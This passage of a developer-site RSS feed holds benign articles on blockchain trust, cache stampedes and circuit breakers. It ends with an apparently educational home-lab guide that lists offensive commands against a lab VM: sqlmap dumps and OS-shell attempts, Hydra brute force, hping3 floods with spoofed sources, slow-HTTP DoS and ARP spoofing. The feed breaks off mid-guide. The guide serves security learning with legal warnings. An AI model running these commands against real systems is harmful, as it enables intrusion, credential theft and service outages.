&lt;li&gt;One regulatory decision -&amp;gt; your account is frozen without warning&lt;/li&gt;
&lt;li&gt;One bad actor inside the organisation -&amp;gt; the records are altered&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You have no way to verify what's happening. You're trusting the institution to be honest, competent, and well-intentioned. Usually they are. But the system requires you to trust them, you have no alternative.&lt;/p&gt;
&lt;p&gt;Blockchain's argument is not that institutions are corrupt. It's that you shouldn't have to assume they're honest. The system should be designed so that anyone can verify the truth not just the people running the servers.&lt;/p&gt;
&lt;p&gt;In practice, that means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Instead of rules locked on a private server -&amp;gt; rules deployed as code, in public&lt;/li&gt;
&lt;li&gt;Instead of promises -&amp;gt; anyone can read the code and check exactly what it does&lt;/li&gt;
&lt;li&gt;Instead of one keeper -&amp;gt; everyone keeps a copy, and no single party can rewrite history&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That's not magic. That's engineering. And it comes with real costs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Honest Trade-offs (Most Courses Skip This Part)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;One of the things I'm proudest of in how Uchenna ran Session 1 is that he didn't sell blockchain. He explained it including the parts that hurt.&lt;/p&gt;
&lt;p&gt;Distributed verification is slower than a centralised server. Always. If you need instant transaction finality, a blockchain is the wrong tool.&lt;/p&gt;
&lt;p&gt;It's more expensive to run. Every node in the network has to process every transaction. That cost is real and it compounds at scale.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Finality works differently&lt;/strong&gt;. On your bank app, if you send money to the wrong person, you call customer service. On a public blockchain, the transaction is final. There is no customer service. The code runs.&lt;/p&gt;
&lt;p&gt;And perhaps the sharpest point: &lt;strong&gt;blockchain doesn't remove trust&lt;/strong&gt;. It relocates it. You stop trusting institutions and start trusting code, mathematics, and the incentive structures of a decentralised network. That's a different kind of trust, more auditable, more transparent, but trust nonetheless.&lt;/p&gt;
&lt;p&gt;Understanding those trade-offs is what separates engineers who can reason about distributed systems from developers who just know how to call a Web3 library.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Watch the Full Session&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Everything I've described above is the skeleton of a 64-minute live session with audience interaction, Q&amp;amp;A, and a cohort working through these ideas in real time.&lt;/p&gt;
&lt;p&gt;Uchenna also covered:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A brief history of blockchain (Bitcoin 2008 -&amp;gt; Ethereum 2015 -&amp;gt; today)&lt;/li&gt;
&lt;li&gt;Public vs. private blockchains and why each exists&lt;/li&gt;
&lt;li&gt;What Ethereum and the EVM actually are&lt;/li&gt;
&lt;li&gt;What people are building on Ethereum right now&lt;/li&gt;
&lt;li&gt;Consensus mechanisms: Proof-of-Work, Proof-of-Stake, Proof-of-History&lt;/li&gt;
&lt;li&gt;A live Q&amp;amp;A: does blockchain make systems trustless, or does it just shift the trust?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If this article gave you the argument, the video gives you the full picture including the moments where the cohort pushed back and Uchenna had to defend his reasoning in real time.&lt;/p&gt;
&lt;p&gt;That's the kind of session we wanted to build. Not a lecture. A thinking session.&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/MTpR9-JL1ig&quot;&gt;Watch here 👉 Blockchain Fundamentals Explained | BinnaDevLab Cohort 1, Session 1&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;what-s-next&quot;&gt;What's Next&lt;/h3&gt;
&lt;p&gt;Session 2 is hands-on. Obinna takes the cohort from theory into code writing and deploying a smart contract in Solidity, live.&lt;/p&gt;
&lt;p&gt;If Session 1 answers why blockchain exists, Session 2 answers how you build on it.&lt;/p&gt;
&lt;p&gt;Follow BinnaDevLab to catch it when it drops.&lt;/p&gt;
&lt;h3 id=&quot;about-binnadevlab&quot;&gt;About BinnaDevLab&lt;/h3&gt;
&lt;p&gt;BinnaDevLab is a developer training community built around one idea: reason before you code.&lt;/p&gt;
&lt;p&gt;We run structured cohorts for developers who want to build with depth not just ship fast.&lt;/p&gt;
&lt;p&gt;🌐 &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.binnadev.com/cohorts&quot;&gt;binnadev.com&lt;/a&gt;&lt;/p&gt;
</description>
<category>Videos</category>
<guid isPermaLink="true">https://coderlegion.com/30122/blockchain-isnt-about-crypto-its-about-a-trust-problem-you-didnt-know-you-had</guid>
<pubDate>Wed, 07 Oct 2026 11:02:50 +0000</pubDate>
</item>
<item>
<title>The Cache Stampede Problem: Why a Popular Cache Key Can Take Down Your Backend</title>
<link>https://coderlegion.com/30087/the-cache-stampede-problem-why-a-popular-cache-key-can-take-down-your-backend</link>
<description>&lt;p&gt;Caches are supposed to protect your backend from load. Most of the time they do. But there is a specific failure mode where the cache itself becomes the trigger for an outage: the cache stampede, also known as the thundering herd problem. It shows up in systems that otherwise look healthy, which is what makes it so disruptive when it finally happens.&lt;/p&gt;
&lt;h3 id=&quot;what-a-cache-stampede-is&quot;&gt;What a Cache Stampede Is&lt;/h3&gt;
&lt;p&gt;A cache stampede happens when a single cached value, one that many requests depend on, expires or gets evicted, and a large number of requests notice the miss at roughly the same time. Instead of one request recomputing the value and everyone else reading it from cache, every one of those requests independently decides the cache is empty and goes to fetch or recompute the value itself.&lt;/p&gt;
&lt;p&gt;If that value is expensive to produce (a complex database query, an aggregation across several services, a slow third-party API call), you now have dozens, hundreds, or thousands of copies of that expensive work running at once, all hitting the same downstream system within the same few hundred milliseconds. The system that the cache was shielding suddenly sees a spike that looks nothing like normal traffic, and it can fall over under the load.&lt;/p&gt;
&lt;p&gt;The term &quot;thundering herd&quot; originally described a related operating systems problem, where many processes blocked on the same event all wake up at once when it fires, even though only one of them can actually make progress. The cache version is the same shape: one event (a cache miss) triggers many redundant reactions.&lt;/p&gt;
&lt;h3 id=&quot;why-this-happens&quot;&gt;Why This Happens&lt;/h3&gt;
&lt;p&gt;The core issue is that a cache miss is usually interpreted the same way regardless of how many requests encounter it. Each request runs the same logic: check the cache, find nothing, recompute, write the result back. There is nothing in that logic that asks &quot;is someone else already recomputing this right now?&quot;&lt;/p&gt;
&lt;p&gt;This is especially easy to trigger with a few common patterns:&lt;/p&gt;
&lt;p&gt;A hot key with a hard TTL. If a widely used cache entry expires at a fixed time, and that key receives steady or bursty traffic, every request arriving in the moment right after expiry triggers its own cache miss.&lt;/p&gt;
&lt;p&gt;A cold cache after a deploy or restart. Clearing or rebuilding a cache (intentionally or as a side effect of a deployment) empties out many hot keys at once. Traffic that was previously served entirely from cache now needs to be recomputed, all at the same time.&lt;/p&gt;
&lt;p&gt;A popular key going viral. A sudden spike in requests for one specific item (a trending product page, a breaking news article, a suddenly popular API resource) can overwhelm the system the moment that item's cache entry needs to be refreshed, simply because the request volume for that one key is so much higher than normal.&lt;/p&gt;
&lt;h3 id=&quot;a-concrete-example&quot;&gt;A Concrete Example&lt;/h3&gt;
&lt;p&gt;Imagine an API endpoint that returns a leaderboard, computed from a query that scans a large table and takes 800 milliseconds to run. The result is cached for 60 seconds because the leaderboard does not need to be perfectly real time.&lt;/p&gt;
&lt;p&gt;Under normal traffic, this works well: one request pays the 800 millisecond cost every 60 seconds, and everyone else reads the cached result in a few milliseconds. But suppose this endpoint gets hit 500 times per second. The instant the cached value expires, up to 500 requests in the next second can all see a cache miss before the first recomputation finishes and gets written back. That is potentially 500 concurrent 800 millisecond queries landing on the database at once, instead of one. Depending on the database's connection limits and query concurrency, this alone can be enough to cause timeouts, connection exhaustion, or a cascading slowdown that affects unrelated endpoints sharing the same database.&lt;/p&gt;
&lt;h3 id=&quot;how-engineers-prevent-cache-stampedes&quot;&gt;How Engineers Prevent Cache Stampedes&lt;/h3&gt;
&lt;p&gt;There is no single fix that applies everywhere, but a handful of techniques cover most real systems, and they are often combined.&lt;/p&gt;
&lt;p&gt;Locking around recomputation. When a cache miss occurs, the first request to notice acquires a lock (often a short lived lock in Redis or a similar store) and does the work of recomputing the value. Other requests that see the same miss either wait briefly for the lock holder to finish and then read the fresh value, or fall back to a slightly stale value if one is available. This turns &quot;many requests recompute&quot; into &quot;one request recomputes, everyone else waits or reads stale.&quot;&lt;/p&gt;
&lt;p&gt;Request coalescing (single flight). Similar to locking, but implemented in application code: if a recomputation for a given key is already in flight, new requests for that same key are attached to the in-flight call instead of starting a new one, and all of them receive the same result when it completes. This avoids the lock and retry overhead of a distributed lock, at the cost of needing in-process coordination.&lt;/p&gt;
&lt;p&gt;Jitter on TTLs. Instead of every instance of a cached value expiring at exactly the same time, add a small random offset to each TTL (for example, 60 seconds plus or minus 10 seconds, picked randomly per entry). This spreads expirations out over a window instead of letting them cluster, which reduces the odds that many keys, or many copies of the same key across cache nodes, expire in the same instant.&lt;/p&gt;
&lt;p&gt;Stale while revalidate. Serve the existing cached value even after it has technically expired, while kicking off a background refresh to update it. Users get a fast response from slightly stale data, and only one request (or a small, bounded number) ever pays the cost of recomputing. This is the same idea used in HTTP's Cache-Control: stale-while-revalidate directive, and it generalizes well to application level caches too.&lt;/p&gt;
&lt;p&gt;Probabilistic early expiration. Rather than waiting for a hard expiry, each read has a small, increasing probability of proactively triggering a background refresh as the entry approaches its expiry time. This spreads refresh work out over time and makes it very unlikely that an entry is ever read by many requests at the exact moment it goes stale. This approach was described in a well known paper from Facebook's engineering team and is sometimes referred to by the name used there, XFetch.&lt;/p&gt;
&lt;h3 id=&quot;choosing-the-right-approach&quot;&gt;Choosing the Right Approach&lt;/h3&gt;
&lt;p&gt;Jitter is close to free and worth adding almost anywhere you have many cache entries with the same TTL, since it costs nothing but a small code change. Locking or request coalescing is the right call when recomputing the value is expensive and you can tolerate a short wait for the small number of requests that lose the race. Stale while revalidate is a good fit when slightly outdated data is acceptable and you want to avoid making any user wait on a slow recomputation. Probabilistic early expiration is worth the extra complexity for your highest traffic, highest cost cache entries, where even a brief stampede would be expensive.&lt;/p&gt;
&lt;p&gt;None of these require tearing out an existing caching layer. Most caching libraries and services (Redis, Memcached, CDNs, and application level caches) support at least one of these patterns, and adding jitter or a simple lock around recomputation is often a small, isolated change rather than an architectural rewrite.&lt;/p&gt;
&lt;p&gt;The broader lesson is that a cache's job is not just to store values, it is to make sure expensive work happens once, not once per concurrent request. Any caching strategy that does not account for what happens when many requests see the same miss at the same time is missing half the problem.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30087/the-cache-stampede-problem-why-a-popular-cache-key-can-take-down-your-backend</guid>
<pubDate>Wed, 07 Oct 2026 07:49:40 +0000</pubDate>
</item>
<item>
<title>The Circuit Breaker Pattern: Stopping Cascading Failures in Microservices</title>
<link>https://coderlegion.com/29564/the-circuit-breaker-pattern-stopping-cascading-failures-in-microservices</link>
<description>&lt;p&gt;If you run more than a handful of services that call each other over the network, you have probably seen this failure mode: one service gets slow or starts timing out, and instead of staying contained, the problem spreads. Threads pile up waiting on responses that never come, queues back up, and eventually services that had nothing wrong with them start failing too, because they were busy waiting on the one that did. This is a cascading failure, and the circuit breaker pattern is the standard tool for stopping it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The problem&lt;/strong&gt;: slow failures are worse than fast ones&lt;/p&gt;
&lt;p&gt;A service that returns an error immediately is usually fine. Callers catch it, maybe retry, maybe degrade gracefully, and move on. The dangerous case is a service that is slow to fail, or that fails intermittently under load.&lt;/p&gt;
&lt;p&gt;Say service A calls service B, and B's database is struggling, so B takes 20 seconds to respond instead of 200 milliseconds. Every request from A to B now holds a connection, a thread, or an event loop slot for 20 seconds. If A has a limited pool of workers (and it does), that pool fills up with requests stuck waiting on B. Soon A cannot serve any requests at all, including ones that have nothing to do with B. Now A looks down to its own callers, and the problem spreads one hop further.&lt;/p&gt;
&lt;p&gt;This is how a single struggling dependency turns into a full outage. The fix is not to make B faster (you often cannot, in the moment). The fix is to stop calling B once it is clear that calls to B are not going to succeed.&lt;/p&gt;
&lt;h4 id=&quot;how-a-circuit-breaker-works&quot;&gt;How a circuit breaker works&lt;/h4&gt;
&lt;p&gt;A circuit breaker wraps a call to a dependency and tracks whether recent calls have been succeeding or failing. It behaves like an electrical circuit breaker: it sits in the path of the call, and it trips open when something downstream is going wrong, cutting the connection before the damage spreads further upstream.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It has three states&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;Closed is the normal state. Requests flow through to the dependency as usual. The breaker counts failures (timeouts, errors, or both, depending on configuration) within a rolling window.&lt;/p&gt;
&lt;p&gt;Open is the tripped state. Once failures cross a threshold (for example, more than 50 percent of calls failing over the last 20 calls, or 5 consecutive timeouts), the breaker opens. While open, calls to the dependency are not attempted at all. The breaker returns an error immediately, or falls back to a default response, without touching the network. This is the key benefit: callers stop waiting on a dependency that is not going to answer, and they stop consuming resources doing it.&lt;/p&gt;
&lt;p&gt;Half-open is the recovery check. After a cooldown period, the breaker allows a small number of test requests through. If they succeed, the breaker closes again and normal traffic resumes. If they fail, it goes back to open and waits for another cooldown.&lt;/p&gt;
&lt;p&gt;The effect is that a failing dependency gets isolated quickly, and the system periodically checks whether it has recovered, without hammering it with full traffic while it is still unhealthy.&lt;/p&gt;
&lt;h4 id=&quot;circuit-breakers-are-not-the-same-as-retries&quot;&gt;Circuit breakers are not the same as retries&lt;/h4&gt;
&lt;p&gt;It is worth being explicit about this because the two are often used together and sometimes confused. A retry handles a single request: if it fails, try again, maybe with backoff. A circuit breaker handles a pattern across many requests: if enough recent calls have failed, stop making new ones for a while.&lt;/p&gt;
&lt;p&gt;Used together, they complement each other. A request might retry two or three times with backoff, and if those retries are also failing across many different callers, the circuit breaker trips and stops the retries from compounding the load on the struggling service. Retrying without a circuit breaker on a dependency that is down can make things worse, because now every caller is sending multiple requests instead of one, adding load to a service that already cannot keep up.&lt;/p&gt;
&lt;h4 id=&quot;what-to-put-behind-a-breaker-and-what-to-do-when-it-trips&quot;&gt;What to put behind a breaker, and what to do when it trips&lt;/h4&gt;
&lt;p&gt;Not every call needs a circuit breaker. It matters most for calls to external dependencies you do not control directly: other internal services, third-party APIs, databases under heavy load. Calls that are cheap, local, and reliable usually do not need one.&lt;/p&gt;
&lt;p&gt;When a breaker is open, the calling code needs a plan for what to do instead of the normal response. Common options:&lt;/p&gt;
&lt;p&gt;Return a cached or default value. If a recommendations service is down, show no recommendations instead of failing the whole page.&lt;/p&gt;
&lt;p&gt;Degrade the feature. If a pricing service is down, show a product page without real time pricing instead of refusing to load the page at all.&lt;/p&gt;
&lt;p&gt;Fail the specific operation, not the whole request. If checkout calls both an inventory service and a loyalty points service, and loyalty points is open, let the checkout proceed without applying points rather than blocking the purchase.&lt;/p&gt;
&lt;p&gt;Queue the work for later. For non urgent operations, write to a queue and process once the dependency recovers, instead of blocking the caller.&lt;/p&gt;
&lt;p&gt;The right fallback is specific to what the feature means to the user, which is why circuit breakers are usually implemented in application code or a shared library, not purely at the infrastructure layer.&lt;/p&gt;
&lt;h4 id=&quot;where-it-lives-in-practice&quot;&gt;Where it lives in practice&lt;/h4&gt;
&lt;p&gt;You rarely need to hand write a circuit breaker from scratch. Most ecosystems have mature libraries: resilience4j for Java, Polly for .NET, opossum for Node.js, and pybreaker for Python. Service mesh tools like Istio and Linkerd can also apply circuit breaking at the network layer, which is useful for stopping traffic between services without changing application code, though it is coarser than an application level breaker that can choose a meaningful fallback.&lt;/p&gt;
&lt;p&gt;Whichever layer you implement it at, the configuration choices that matter are the failure threshold (how many failures before tripping), the window size (how many recent calls to consider), and the cooldown duration (how long to wait before testing recovery). Set the threshold too low and healthy services trip under normal blips. Set it too high and the breaker does not protect anything until the damage is already done. These numbers are usually tuned from observed latency and error rates for each specific dependency, not set once globally.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29564/the-circuit-breaker-pattern-stopping-cascading-failures-in-microservices</guid>
<pubDate>Fri, 02 Oct 2026 17:50:32 +0000</pubDate>
</item>
<item>
<title>How to Build a Safe, Isolated Cybersecurity Home Lab (Kali + Ubuntu)</title>
<link>https://coderlegion.com/29401/how-to-build-a-safe-isolated-cybersecurity-home-lab-kali-ubuntu</link>
<description>&lt;p&gt;Reading about a SQL injection isn't the same as triggering one yourself and watching the database dump on screen. That's why I built my own home lab, and why I wrote this guide to help you build yours.&lt;/p&gt;
&lt;p&gt;A cybersecurity home lab is a small, self-contained network you build on your own computer, entirely cut off from the internet and your home network. You run two virtual machines: one plays the attacker (Kali Linux, loaded with security tools) and the other plays the target (Ubuntu Server, configured with intentionally vulnerable services).&lt;/p&gt;
&lt;p&gt;You then practice the same techniques real penetration testers use, scanning, exploiting, monitoring, and defending, without any risk to a real system.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;My name is Elijah Abolaji, and I developed this guide for educational purposes only.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ Legal &amp;amp; Ethical Ground Rules&lt;/p&gt;
&lt;p&gt;Every tool in this guide is dual-use: the same command that finds a vulnerability in your lab can cause real damages, and real legal consequences. If pointed at a system you don't own.&lt;/p&gt;
&lt;p&gt;Rule #1: Only ever run these tools against machines you personally own or have explicit written authorization to test. In this guide, that means the Ubuntu VM you build yourself, on an isolated virtual network with no route to the internet or your home Wi-Fi.&lt;/p&gt;
&lt;p&gt;Rule #2: Unauthorized scanning, exploitation, or denial-of-service against systems you don't control is illegal in most countries (including Nigeria), even when done &quot;just to learn.&quot; Keep this lab air-gapped from anything else.&lt;br&gt;
️ Hardware Requirements&lt;/p&gt;
&lt;p&gt;For a smooth-running lab, you'll need a computer with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;4-core processor

16GB RAM

SSD storage
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anything below this still works, but not efficiently.&lt;/p&gt;
&lt;p&gt;️ Step 1: Install VirtualBox&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Go to virtualbox.org and open the Downloads page.

Download the installer for your host OS (Windows / macOS / Linux).

Run the installer and accept the default options.

Also download the matching VirtualBox Extension Pack from the same page and install it from inside VirtualBox (File → Preferences → Extensions). It adds USB and network features you'll want later.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 2: Download &amp;amp; Install Kali Linux (Attacker)&lt;/p&gt;
&lt;p&gt;What is Kali? A Debian-based distribution pre-loaded with hundreds of security and penetration-testing tools: Nmap, Metasploit, Burp Suite, SQLmap, and everything else in Part 1 of this guide.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Go to kali.org/get-kali and choose Virtual Machines.

Download the pre-built VirtualBox image (a .7z file) that matches your CPU architecture—this is faster than installing from an ISO.

Extract the archive, then in VirtualBox choose File → Import Appliance and select the extracted .vbox file.

Once imported, start the VM. Default credentials are username: kali, password: kali—change the password immediately with passwd.

Update the tool set:
bash

sudo apt update &amp;amp;&amp;amp; sudo apt full-upgrade -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 3: Download &amp;amp; Install Ubuntu Server (Target)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Go to ubuntu.com/download/server and download the latest Ubuntu Server LTS ISO.

In VirtualBox, click New, name the VM &quot;Ubuntu-Target&quot; (or any preferred name), and attach the ISO as the virtual optical drive.

Give it at least 2 GB RAM and 20 GB disk, then follow the installer, accepting default partitioning.

When prompted, install the OpenSSH server option so Kali can connect to it later.

After installation completes, remove the ISO from the virtual drive and reboot.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 4: Building the Isolated Lab Network&lt;/p&gt;
&lt;p&gt;This is the most important safety step in the whole guide. You want Kali and Ubuntu to talk to each other, but not to anything else.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In VirtualBox: File → Host Network Manager → create a Host-Only Network (e.g., vboxnet0, range 192.168.100.0/24).

Kali VM → Settings → Network → Adapter 1 → attach to Host-only Adapter → choose vboxnet0.

Repeat for the Ubuntu VM, attaching it to the same host-only network. Set IP addresses for both machines and use the default gateway in the same subnet.

Boot both VMs and confirm they can see each other:
bash

# From Kali
ping 192.168.100.20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both VMs sit on the same Host-Only network (192.168.100.0/24)—isolated from your home Wi-Fi and the internet.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Double-check: A Host-Only network has no route to the internet by design. If you also attach a NAT adapter for updates, DoS/exploitation traffic should still only ever target 192.168.100.20.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 5: Reconnaissance &amp;amp; Scanning (from Kali)&lt;/p&gt;
&lt;p&gt;Everything below runs on the Kali VM, targeting the Ubuntu VM's IP (192.168.100.20).&lt;/p&gt;
&lt;p&gt;Goal: Find out what's alive on the network and which ports/services are open before touching anything.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;host-discovery-amp-port-scanning&quot;&gt;Host discovery &amp;amp; port scanning&lt;/h2&gt;
&lt;p&gt;nmap 192.168.100.0/24           # scan the subnet&lt;br&gt;
nmap -sn 192.168.100.0/24       # ping sweep&lt;br&gt;
nmap -p- 192.168.100.20         # all 65535 ports&lt;br&gt;
sudo nmap -sS 192.168.100.20    # SYN stealth scan&lt;/p&gt;
&lt;h2 id=&quot;service-amp-os-detection&quot;&gt;Service &amp;amp; OS detection&lt;/h2&gt;
&lt;p&gt;sudo nmap -A 192.168.100.20     # OS, version, scripts&lt;br&gt;
sudo nmap -sV -p- 192.168.100.20 # version detect, all ports&lt;br&gt;
sudo nmap -O 192.168.100.20     # OS fingerprinting&lt;/p&gt;
&lt;h2 id=&quot;nmap-scripting-engine-nse-&quot;&gt;Nmap Scripting Engine (NSE)&lt;/h2&gt;
&lt;p&gt;nmap --script vuln 192.168.100.20&lt;br&gt;
nmap -p 22 --script ssh-auth-methods,ssh-hostkey 192.168.100.20&lt;br&gt;
nmap -p 80 --script http-enum,http-headers 192.168.100.20&lt;/p&gt;
&lt;p&gt;Tip: Save your scan output: nmap -oA scan 192.168.100.20 writes normal, XML, and grepable formats at once.&lt;br&gt;
 Step 6: Web Enumeration&lt;/p&gt;
&lt;p&gt;Goal: Once port 80/443 is open, map out what the web application actually contains: hidden directories, files, misconfigurations.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;directory-brute-forcing&quot;&gt;Directory brute-forcing&lt;/h2&gt;
&lt;p&gt;gobuster dir -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt; -w /usr/share/wordlists/dirb/common.txt&lt;br&gt;
feroxbuster -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt; -w /usr/share/seclists/Discovery/Web-Content/common.txt&lt;/p&gt;
&lt;h2 id=&quot;automated-amp-manual-scanning&quot;&gt;Automated &amp;amp; manual scanning&lt;/h2&gt;
&lt;p&gt;nikto -h &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt;       # automated vulnerability scanner&lt;br&gt;
curl -i &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20&quot;&gt;http://192.168.100.20&lt;/a&gt;        # view response headers&lt;br&gt;
curl -X POST -d &quot;id=1&quot; &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/vulnerable.php&quot;&gt;http://192.168.100.20/vulnerable.php&lt;/a&gt;&lt;br&gt;
burpsuite                            # launch the Burp Suite proxy (GUI)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Note: Burp Suite's proxy is how you'll capture authenticated requests (with login cookies) to feed into SQLmap on the next step.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; Step 7: SQL Injection with SQLmap&lt;/p&gt;
&lt;p&gt;Goal: Confirm and exploit an injectable parameter to prove data can be extracted—this is why DVWA on the Ubuntu target exists.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;basic-usage&quot;&gt;Basic usage&lt;/h2&gt;
&lt;p&gt;sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; --batch&lt;br&gt;
sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; --dbs&lt;br&gt;
sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; -D dwva --tables&lt;br&gt;
sqlmap -u &quot;&lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/page.php?id=1&quot;&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;&quot; -D dwva -T users --dump&lt;/p&gt;
&lt;h2 id=&quot;using-a-captured-request-with-auth-cookies-&quot;&gt;Using a captured request (with auth cookies)&lt;/h2&gt;
&lt;p&gt;sqlmap -r request.txt --batch --dbs&lt;br&gt;
sqlmap -r request.txt --batch -D dwva -T users --dump&lt;/p&gt;
&lt;h2 id=&quot;advanced-options&quot;&gt;Advanced options&lt;/h2&gt;
&lt;p&gt;sqlmap -r request.txt --batch --level=5 --risk=3   # more thorough&lt;br&gt;
sqlmap -r request.txt --batch --os-shell           # attempt OS shell&lt;br&gt;
sqlmap -r request.txt --batch --tamper=space2comment # WAF bypass&lt;/p&gt;
&lt;p&gt; Step 8: Password Attacks&lt;/p&gt;
&lt;p&gt;Goal: Test whether weak or default credentials on the Ubuntu target can be guessed—a huge share of real breaches start exactly this way.&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;hydra---online-brute-force&quot;&gt;Hydra - online brute force&lt;/h2&gt;
&lt;p&gt;hydra -L users.txt -P pass.txt ssh://192.168.100.20 -t 4 -V&lt;br&gt;
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.20&lt;br&gt;
hydra -L users.txt -P pass.txt http-post-form &quot;/login:user=^USER^&amp;amp;pass=^PASS^:Invalid&quot;&lt;/p&gt;
&lt;h2 id=&quot;john-the-ripper---offline-cracking&quot;&gt;John the Ripper - offline cracking&lt;/h2&gt;
&lt;p&gt;john --wordlist=rockyou.txt hashes.txt&lt;br&gt;
john --format=raw-md5 --wordlist=rockyou.txt hash.txt&lt;/p&gt;
&lt;h2 id=&quot;hashcat---gpu-cracking&quot;&gt;Hashcat - GPU cracking&lt;/h2&gt;
&lt;p&gt;hashcat -m 0 hash.txt rockyou.txt      # MD5&lt;br&gt;
hashcat -m 1000 hash.txt rockyou.txt   # NTLM&lt;/p&gt;
&lt;p&gt;Tool	Best for&lt;br&gt;
Hydra	Live login attempts against a running service (SSH, web forms)&lt;br&gt;
John the Ripper	Cracking a password hash you already have, CPU-based&lt;br&gt;
Hashcat	Cracking hashes fast using your GPU&lt;br&gt;
 Step 9: Denial of Service (DoS) Testing&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Lab only: These commands can knock a real server offline. Run them only against your own isolated Ubuntu-Target VM—never anything else.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before you start: hping3 ships with Kali by default. Install anything missing:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo apt install -y hping3 slowhttptest apache2-utils&lt;/p&gt;
&lt;p&gt;bash&lt;/p&gt;
&lt;h2 id=&quot;hping3---flood-attacks&quot;&gt;hping3 - flood attacks&lt;/h2&gt;
&lt;p&gt;sudo hping3 -S --flood -p 80 192.168.100.20&lt;br&gt;
sudo hping3 -S --flood --rand-source -p 80 192.168.100.20&lt;br&gt;
sudo hping3 --udp --flood -p 80 192.168.100.20&lt;br&gt;
sudo hping3 --icmp --flood 192.168.100.20&lt;/p&gt;
&lt;h2 id=&quot;slowhttptest---application-layer&quot;&gt;slowhttptest - application-layer&lt;/h2&gt;
&lt;p&gt;slowhttptest -B -c 1000 -i 10 -l 300 -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/&quot;&gt;http://192.168.100.20/&lt;/a&gt; # Slow POST&lt;br&gt;
slowhttptest -R -c 1000 -i 10 -l 300 -u &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/&quot;&gt;http://192.168.100.20/&lt;/a&gt; # Slow Read&lt;/p&gt;
&lt;h2 id=&quot;apache-benchmark---load-testing&quot;&gt;Apache Benchmark - load testing&lt;/h2&gt;
&lt;p&gt;ab -n 10000 -c 500 &lt;a rel=&quot;nofollow&quot; href=&quot;http://192.168.100.20/&quot;&gt;http://192.168.100.20/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;hping3 flags: -S SYN flag · --flood send as fast as possible · --rand-source spoof source IPs · -p destination port · -i u1000 interval in microseconds&lt;br&gt;
️ Step 10: Sniffing &amp;amp; Man-in-the-Middle&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;packet-capture&quot;&gt;Packet capture&lt;/h2&gt;
&lt;p&gt;wireshark                                   # packet capture GUI&lt;br&gt;
sudo tcpdump -i eth0 -w capture.pcap&lt;br&gt;
sudo tcpdump -i eth0 port 80 -A&lt;br&gt;
sudo tcpdump -i eth0 host 192.168.100.20&lt;/p&gt;
&lt;h2 id=&quot;arp-spoofing-amp-mitm-frameworks&quot;&gt;ARP spoofing &amp;amp; MITM frameworks&lt;/h2&gt;
&lt;p&gt;sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1&lt;br&gt;
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20&lt;/p&gt;
